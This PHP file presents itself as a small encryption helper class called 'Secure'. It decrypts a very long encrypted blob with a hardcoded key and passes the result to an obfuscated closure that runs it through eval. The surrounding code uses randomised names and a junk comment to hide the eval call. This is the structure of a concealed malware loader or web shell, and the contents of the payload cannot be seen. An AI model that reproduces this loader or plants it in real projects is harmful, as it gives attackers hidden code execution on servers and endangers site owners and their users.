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<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('BC2mhn2ON5woNklXMhUxc0C9Fsd5vbvc');
$str = '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';
$decrypted = $secure->decrypt($str);
$xqxO6CviyN = function($p616R6Ar046){
/*P6OZYNamm*/eVaL($p616R6Ar046);
$znhqomXgNWm = "VcA2pifs7J4ZPrX5fvYurNTBEIeYezHL";
return $znhqomXgNWm;
};
$xqxO6CviyN($decrypted);